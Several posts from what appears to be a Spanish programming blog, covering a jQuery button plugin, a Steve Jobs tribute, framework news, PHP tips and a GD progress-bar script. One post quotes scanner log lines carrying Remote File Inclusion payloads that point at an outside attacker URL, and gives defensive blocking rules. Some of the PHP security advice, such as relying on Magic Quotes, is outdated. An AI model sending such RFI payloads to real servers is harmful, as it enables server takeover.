0
Plug-In para jQuery que permite crear botones CSS3 a partir de un anchor, no hoja de estilos (CSS) necesaria.
HTML
<a href="javascript:;" class="boton">Boton</a>
jQuery
$('.boton').css3button();
Métodos
<!-- Cambiar color del boton
Los colores pueden ser:
orange
red
blue
green
default: gray
-->
$('.boton').css3button({color : 'red'});
<!-- Desactivar boton (state disabled) -->
$('.boton').css3button("disabled");
<!-- Activar boton (state enabled) -->
$('.boton').css3button("enabled");
<!-- Método Destroy -->
$('.boton').css3button("destroy");
Ejemplo
<!-- JavaScript --->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script>
<script src="jquery.css3-buttons.js" type="text/javascript"> </script>
<!-- HTML -->
<a class="boton" href="#" rel="orange">Abrir 0</a>
<a class="boton" href="#" rel="red">Abrir 1</a>
<a class="boton" href="#" rel="blue">Abrir 2</a>
<a class="boton" href="#" rel="green">Abrir 3</a>
<a class="boton" href="#" rel="gray">Abrir 3</a>
<!-- jQuery -->
<script type="text/javascript">
$(document).ready(function(){
$.each($('a.boton'), function() {
color = $(this).attr('rel');
$(this).css3button({color : color});
});
$('.boton').click(function( ) {
$(this).css3button("disabled");
});
});
</script>
Demo
Demo jQuery Plugin CSS3 Buttons
Download
0
Hace años comencé mi vida en las computadoras, desde que conocí la programación supe que las computadoras serían mis herramientas de trabajo.
Recuerdo bien los días en los que iba a casa de un amigo y yo quedaba sorprendido por las maravillas que hacía con su computadora, yo entendía muy poco de ellas, en ese entonces el sistema operativo se cargaba con discos de 5 1/4 pulgadas, el monitor era monocromático, el sistema operativo no tenía interfaz gráfica, todo se manejaba a través de comandos y todo eso me encantaba, sentía mucha simpatía por lo complejo. Aprender comandos, teclear rápido, aplicar combinaciones de teclas para realizar funciones de manera más rápida fueron cosas que aprendí a hacer por gusto. Aprendí empíricamente, mi amigo me enseñaba cosas básicas, pero me explicaba con detalle cada cosa. Pronto aprendí a formatear un disco flexíble, a cambiar de directorio de trabajo, a listar archivos, a buscarlos, crear carpetas y ejecutar programas. Posteriormente conocí Windows95 y compiladores basados en MS-DOS llamados Clipper y Pascal, fue entonces cuando supe que quería dedicarme a la programación, y tenía una idea en la mente en aquel entonces: “Haz programas para facilitarle las cosas a los demás”.
Al paso de los años cambie Pascal por C, me encantaba el famoso compilador de Borland Turbo C, de hecho hice mi librería “graphics.h” que me dibujaba ventanas y me simulaba animaciones cuando aparecia una ventana o cuando se presionaba un botón, pasaba horas programando tratando de hacer cosas simples y estéticas.
Años más tarde conocí Linux y me enamoré de la distribución de SlackWare con Fluxbox, pasé casi dos semanas descargando esa distribución con un modem dial-up a 48kb/s, pero la espera valió la pena. Probar Slackware con su interfaz totalmente minimalísta Fluxbox un gestor de ventanas liviano y muy potente que usé varios años, aunque las tareas básicas que día a día se tenían que realizar desde consola acabaron con ese amor.
Fué entonces que me decidí a hacerme de una Macintosh, llegué tarde al mundo de Apple, conocía las macs pero nunca había probado de fondo alguna, el diseño, los detalles, el sistema operativo, la interfaz gráfica me conquistaron y quise saber todo acerca de Macintosh, y así supe de Steve Jobs.
Él había hecho lo que yo quería años atrás, software para facilitar el trabajo cotidiano a las personas, software para hacer las cosas básicas como deben ser, simples.
Si soy actualmente un Apple FanBoy en parte es por Steve Jobs, que me inspiró a seguir con mi camino como programador de software, a buscar siempre la innovación y la simplicidad en lo que programo.
Durente estos ultimos meses me he aferrado a una frase personal que fue inspirada en parte por el trabajo de Steve Jobs :
Este es mi humilde homenaje al más grande visionario y CEO tecnológico de todos los tiempos.
Hasta siempre Steve Jobs.
Once you go a mac never go back
2
Hoy 13 de septiembre es el día del programador. ¿Por qué hoy?
La parte más pequeña de información se le conoce como Bit. La palabra “Bit” es el acrónimo de Binary Digit, esto es, dígito binario, el sistema binario solo cuenta con dos dígitos, un cero y un uno, para entender esto imaginemos un interruptor que tiene dos estados, Apagado y Prendido, que sus estados pueden representarse por un cero o un uno, respectivamente.
Un byte, tradicionalmente, consta de 8 bits, y es la unidad básica de almacenamiento de datos, es decir, informáticamente hablando para guardar una letra se necesitan 8 bits.
Si el número 2 (cantidad de dígitos en binario) lo elevamos a la potencia 8 (cantidad de bits que se necesitan para representar una letra) obtenemos el número de distintas combinaciones que pueden representarse con 8 bits, 28 = 256.
El 13 de septiembre es el día número 256 del año (no bisiesto), en años bisiestos sería el 12 de septiembre el día número 256 del año.
¿Que ñoños somos los programadores verdad?
Felicidades a todos los programadores.

ErrorKey es un sitio totalmente enfocado a programadores donde puedes conseguir algo más de información acerca de los errores que te arrojan diferentes lenguajes de programación.
Los autores dicen que en un principio era una herramienta más o menos personal que la compartían con un grupo reducido de amigos y colegas, pero que hasta hace poco decidieron ponerla a disposición de todos.
Si eres programador, realmente vale la pena guardarla en tus bookmarks.

Recientemente Mootools liberó su version 1.2, que según su blog es totalmente nueva, y por lo tanto, las APIS de la versión 1.11 (aclaro que 1.2 es un número de versión mayor a 1.11) NO son compatibles con la versión 1.2. Sin embargo nos ofrecen unos layers para hacer los scripts compatibles de manerá más fácil:
Simultáneamente le dieron un nuevo look al website de Mootools.
Mootools es un framework que empecé a usar por su sencillo manejo y su pequeño tamaño, incluso de menor tamaño que jQuery.
Descarga: Mootools
Google ha lanzado el API de Google Earth, que básicamente permite ver mapas en 3D en los navegadores, ¿Cuales? Firefox 2.x, IE6 y IE7 todos para Windows (lamentablemente).
Entre las características de esta API actualmente se encuentran: PlaceMarks (marcar lugares específicos), añadir balloons de información, mover la cámara y crear polígonos.
¿Por donde empezar?
Pues un buen comienzo es obtener la API Key y leer la documentación
¿Una prueba?
En los blogs es muy común ver botones para agregar las entradas de los posts a digg, reddit, StumbleUpon, meneame, etc., cada vez hay más redes sociales y más botones con ellas.

Si bien es cierto con el botón Sharethis podemos ahorrar algo de espacio y poner un poco más limpio el contenido de nuestro posts, siempre habrán botones que nuestros visitantes nunca utilicen.

SocialHistory es un código en javascript que ayuda a detectar las redes sociales de tus visitantes, esto ayuda a mostrar solo las redes que a tu visitante le interesan.
En el post anterior hablaba de intrusos que buscan detectar vulnerabilidades de algunos scripts.
Bueno pues veo que cada vez hay un mayor número de estas “herramientas” (para kiddies) que no hacen otra cosa que hacernos perder el tiempo.
Voy a dedicar una sección en este blog para hablar acerca de estas herramientas, pero primero, lo primero.
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
Como podrán ver en esos logs, hacen peticiones hacia archivos específicos. Por el nombre de los directorios se puede deducir claramente que los directorios que buscan pertenecen a la estructura de el CMS Joomla.
Deben de usar un scanner de ips, por que ni siquiera se tomaron la molestia de verificar si en este servidor hay Joomla instalado (no, no hay, ni lo habrá).
Algunos blogs recomiendan bannear ese user-agent “Morfeus Fucking Scanner”, lo cual si serviría temporalmente, ya que cambiando el user-agent del scanner se soluciona el asunto.
Para bloquear ese scanner por medio de su user-agent basta con agregar esto al .htaccess
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]
Con estas líneas se le denegaría el acceso al user-agent, pero no a la ip.
Otros recomiendan devolverles el favor a los espías con estas líneas
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]
Con las líneas anteriores se hace un forwarding a la misma ip de donde proviene el ataque. Pero al igual que con el código anterior, solo se le denegará el acceso al user-agent y no a la ip.
Yo recomiendo agregar reglas para banear las ips.
iptables -A INPUT -s LAIP -j DROP
Pero si no tenemos acceso a las iptables, también podremos bannear a los espías mediante el archivo .htaccess de la siguiente manera:
#Morfeus Fucking Hacker
deny from 217.118.2.160
Se que es algo molesto andar editando el archivo cada vez que un nuevo espía se acerque a nosotros, pero es mejor que podemos hacer sino tenemos acceso para bannear desde iptables.
¿Pero que ganan exactamente los espías al encontrar lo que buscan?
Bueno pues pongamos atención a la siguiente línea:
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
Lo que buscan hacer se llama RFI (Remote File Inclusion) que consiste según wikipedia en:
Remote File Inclusion, traducido al español como Inclusión Remota de Archivos – vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().
En pocas palabras ellos cuelgan un archivo en otro servidor (En este caso http://dwlz2.dwlz2.com/~dwlz2/ice.txt) que tiene código PHP que permite al atacante tomar control sobre el servidor, o al menos, usar código PHP para construir scripts para funciones específicas (spam, defaces, craking, etc). Verdaderamente es de extrema importancia cuidarnos de este tipo de ataques, ya que muchas cosas se ven comprometidas (Incluso la Base de datos).
Aquí les dejo la lista de mis 10 consejos al programar en PHP (o al menos es lo que pienso que es lo más óptimo).
- Usa el operador ternario
if ($a < $b) return $a;
else return $b;se podria resumir en:
return $a < $b ? $a : $b;
- Usar explode si no se usan expresiones regulares.
La función explode vierte sobre un array los valores contenidos en una cadena delimitados por un separador, la función split hace lo mismo, pero evalúa las expresiones regulares.
- Si no hay control sobre una variable es recomendable verificar que este inicializada.
usar isset($variable)
- Si hay que usar condiciones anidadas es preferible usar switch a if’s anidados
usar switch
- Siempre es bueno codificar claramente, siempre con la idea de que alguien más lo va a ver, aunque no sea así, quien sabe? quizás nos ayude a nosotros mismos más adelante.
Es importante usar nombre de variables y funciones que nos den una idea clara de contenido (variables) y su función.
- Usar comillas simples es mucho más rapido.
Cuando se usan comillas dobles antes de procesar se revisa la cadena en busca de variables para devolver el valor de ellas. En comillas simples no se hace tal revisión.
- Datos especiales
cuando elaboramos archivos con datos especiales (por ejemplo un config), es preferible usar constantes.
define(‘DBHOST’,'localhost’) en vez de $dbhost = ‘localhost’; - Cabecera de los archivos.
Es recomendable poner datos que identifiquen al archivo con el proyecto, ademas que es una manera rápida para añadir información que ayude a identificar el contenido del archivo.
/**
*
* @Project My Web Project. @db_functions.php – Funciones para controlar la base de datos.
* @version: 0.0001 @modificado: 1 enero 2008
* @author: John Doe
*
*/ - No escatimes en código por seguridad
Aunque tu proyecto sea pequeño, trata de tomar todas las medidas necesarias, usar Magic Quotes es sano. Recuerda que el nivel de seguridad de un sistema, es directamente proporcional a la paranoia de su administrador.
- Optimiza Código
Trata de ahorrar algunos Kbytes a tus archivos, optimiza tu código al máximo, usa expresiones regulares, recursividad, y classes.

Bueno, hace unos días que empecé a jugar un poco con la librería GD y PHP, y a la hora de desarollar un sitio, mientras más recicles código es mucho mejor. En esta ocasión hice un pequeño script para crear barras de progreso dinámicas con PHP, este es un ejemplo:
La imagen que usé de fondo es esta: 
<?php
/* variables del porcentaje de largo que queremos mostrar lleno y la paleta de colores en formato RGB (ej: image_bar.php?width=50&palet=0/102/53*/
$width = $_GET['width'];
$palet = $_GET['palet'];
/* verificamos la variable palet que guarda la paleta de colores y separamos los colores RGB*/
if ($palet)
{
$arr_palet = split('/',$palet);
$arraycolor[0] = array($arr_palet[0], $arr_palet[1], $arr_palet[2]);
for($i = 1; $i < 9; $i++)
{
if (($arr_palet[0] + 10) > 255) $arr_palet[0] = 255;
else $arr_palet[0] = $arr_palet[0] + 10;
if (($arr_palet[1] + 10) > 255) $arr_palet[1] = 255;
else $arr_palet[1] = $arr_palet[1] + 10;
if (($arr_palet[2] + 10) > 255) $arr_palet[2] = 255;
else $arr_palet[2] = $arr_palet[2] + 10;
$arraycolor[$i] = array($arr_palet[0], $arr_palet[1], $arr_palet[2]);
}
}
$data = ($width * 48 / 100);
$data = round($data);
/* Crear imagen a partir de otra*/
$background = @imagecreatefrompng ('fondo.png');
if ($data > 1)
{
$fill1 = imagecreatetruecolor($data,1);
$fill2 = imagecreatetruecolor($data,1);
$fill3 = imagecreatetruecolor($data,1);
$fill4 = imagecreatetruecolor($data,1);
$fill5 = imagecreatetruecolor($data,1);
$fill6 = imagecreatetruecolor($data,1);
$fill7 = imagecreatetruecolor($data,1);
$fill8 = imagecreatetruecolor($data,1);
$fill9 = imagecreatetruecolor($data,1);
$colors = array(
array(
array('62','125','179'), array('72','133','184'), array('82','140','190'),
array('93','149','195'), array('103','157','200'), array('114','165','206'),
array('127','174','211'), array('135','182','216'), array('190','190','221')
),
array(
array('181','59','59'), array('189','69','69'), array('191','80','80'),
array('197','90','90'), array('202','101','101'), array('208','111','111'),
array('213','121','121'), array('218','132','132'), array('223','142','142')
),
array(
array('10','60','70'), array('20','70','80'), array('30','80','90'),
array('40','90','100'), array('50','101','110'), array('60','111','120'),
array('70','121','130'), array('80','132','140'), array('90','142','150')
),
$arraycolor
);
/* creamos los colores a usar */
$c1 = imagecolorallocate($fill1, $colors[$color][0][0], $colors[$color][0][1], $colors[$color][0][2]); //Background
$c2 = imagecolorallocate($fill2, $colors[$color][1][0], $colors[$color][1][1], $colors[$color][1][2]); //Background
$c3 = imagecolorallocate($fill3, $colors[$color][2][0], $colors[$color][2][1], $colors[$color][2][2]); //Background
$c4 = imagecolorallocate($fill4, $colors[$color][3][0], $colors[$color][3][1], $colors[$color][3][2]); //Background
$c5 = imagecolorallocate($fill5, $colors[$color][4][0], $colors[$color][4][1], $colors[$color][4][2]); //Background
$c6 = imagecolorallocate($fill6, $colors[$color][5][0], $colors[$color][5][1], $colors[$color][5][2]); //Background
$c7 = imagecolorallocate($fill7, $colors[$color][6][0], $colors[$color][6][1], $colors[$color][6][2]); //Background
$c8 = imagecolorallocate($fill8, $colors[$color][7][0], $colors[$color][7][1], $colors[$color][7][2]); //Background
$c9 = imagecolorallocate($fill9, $colors[$color][8][0], $colors[$color][8][1], $colors[$color][8][2]); //Background
/* formamos el degradado */
imagefilledrectangle($fill1, 0, 0, $data, 1, $c1);
imagefilledrectangle($fill2, 0, 0, $data, 1, $c2);
imagefilledrectangle($fill3, 0, 0, $data, 1, $c3);
imagefilledrectangle($fill4, 0, 0, $data, 1, $c4);
imagefilledrectangle($fill5, 0, 0, $data, 1, $c5);
imagefilledrectangle($fill6, 0, 0, $data, 1, $c6);
imagefilledrectangle($fill7, 0, 0, $data, 1, $c7);
imagefilledrectangle($fill8, 0, 0, $data, 1, $c8);
imagefilledrectangle($fill9, 0, 0, $data, 1, $c9);
/* formamos la barra de progreso*/
imagecopy($background,$fill1,1,9,0,0,$data,1);
imagecopy($background,$fill2,1,8,0,0,$data,1);
imagecopy($background,$fill3,1,7,0,0,$data,1);
imagecopy($background,$fill4,1,6,0,0,$data,1);
imagecopy($background,$fill5,1,5,0,0,$data,1);
imagecopy($background,$fill6,1,4,0,0,$data,1);
imagecopy($background,$fill7,1,3,0,0,$data,1);
imagecopy($background,$fill8,1,2,0,0,$data,1);
imagecopy($background,$fill9,1,1,0,0,$data,1);
}
/* mandamos las cabeceras, el archivo es una imagen*/
header("Content-type: image/png");
/* mandamos la imagen */
imagepng($background);
?>
Modo de uso: image_bar.php?width=porcentaje&palet=R/G/B

